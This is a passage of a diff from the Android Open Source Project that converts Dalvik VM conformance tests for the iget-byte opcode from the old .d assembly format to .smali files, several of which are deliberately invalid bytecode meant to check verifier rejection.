+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_16.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_16;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-byte v0, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_16;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_17.d
deleted file mode 100644
index fba56a4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_17.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_17
-.super java/lang/Object
-
-.field public  i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-byte v0, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_17.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_17.smali
new file mode 100644
index 0000000..858a356
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_17.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_17;
+.super  Ljava/lang/Object;
+
+.field public  i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-byte v0, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_17;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_18.d
deleted file mode 100644
index 309001d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_18.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_18.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_18
-.super java/lang/Object
-
-.field public  i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-byte v0, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_18.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_18.smali
new file mode 100644
index 0000000..527cd8c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_18.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_18.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_18;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-byte v0, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_18;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_19.d
deleted file mode 100644
index a1397ba..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_19.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_19.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_19
-.super java/lang/Object
-
-.field public  i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-byte v0, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_19.i1 D
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_19.smali
new file mode 100644
index 0000000..e5ebb35
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_19.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_19.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_19;
+.super  Ljava/lang/Object;
+
+.field public  i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-byte v0, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_19;->i1:D
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_20.d
deleted file mode 100644
index 2373e00..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_20.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_20
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-byte v0, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_20.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_20.smali
new file mode 100644
index 0000000..d7dc884
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_20.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_20;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-byte v0, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_20;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_21.d
deleted file mode 100644
index 40685ee..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_21.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_21.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_21
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iget_byte/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iget_byte/TestStubs/<init>()V
-
-       iget-byte v1, v0, dot.junit.opcodes.iget_byte.TestStubs.TestStubProtectedField B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_21.smali
new file mode 100644
index 0000000..0eb3319
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_21.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_21.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_byte/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_byte/TestStubs;-><init>()V
+
+       iget-byte v1, v0, Ldot/junit/opcodes/iget_byte/TestStubs;->TestStubProtectedField:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_3.d
deleted file mode 100644
index a7cf811..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_3.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_3
-.super java/lang/Object
-
-.field public  i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-byte v3, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_3.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_3.smali
new file mode 100644
index 0000000..86baa31
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_3.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_3;
+.super  Ljava/lang/Object;
+
+.field public  i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-byte v3, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_3;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_30.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_30.d
deleted file mode 100644
index 1c8e463..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_30.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_30.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_30
-.super java/lang/Object
-
-.field public  st_i1 B
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    new-instance v0, dot/junit/opcodes/iget_byte/d/T_iget_byte_30
-    iget-byte v1, v0, dot.junit.opcodes.iget_byte.d.T_iget_byte_30.st_i1 B
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_30.smali
new file mode 100644
index 0000000..477d230
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_30.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_30.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_30;
+    iget-byte v1, v0, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_30;->st_i1:B
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_31.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_31.d
deleted file mode 100644
index 0a84091..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_31.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2014 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_31.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_31
-.super java/lang/Object
-
-.field public  st_i1 B
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-    iget v0, v0, dot.junit.opcodes.iget_byte.d.T_iget_byte_31.st_i1 B
-    return v0
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_31.smali
new file mode 100644
index 0000000..6fb67f0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_31.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_31.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+    iget v0, v0, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_31;->st_i1:B
+    return v0
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_35.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_35.d
deleted file mode 100644
index 8792c96..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_35.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_35.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_35
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 2
-       iget-byte v0, v1, dot.junit.opcodes.iget_byte.TestStubs.TestStubProtectedField B
-       return v0
-.end method
-
-
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_35.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_35.smali
new file mode 100644
index 0000000..e3a9eb2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_35.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_35.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_35;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 2
+       iget-byte v0, v1, Ldot/junit/opcodes/iget_byte/TestStubs;->TestStubProtectedField:B
+       return v0
+.end method
+
+
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_4.d
deleted file mode 100644
index 20f03c8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_4.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_4
-.super java/lang/Object
-
-.field public  i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       iget-byte v1, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_4.i1 B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_4.smali
new file mode 100644
index 0000000..05b4ca1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_4.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_4;
+.super  Ljava/lang/Object;
+
+.field public  i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       iget-byte v1, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_4;->i1:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_5.d
deleted file mode 100644
index 65e6ed0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_5.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_5
-.super java/lang/Object
-
-.field public static i1 B
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       iget-byte v1, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_5.i1 B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_5.smali
new file mode 100644
index 0000000..e312099
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_5.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_5;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
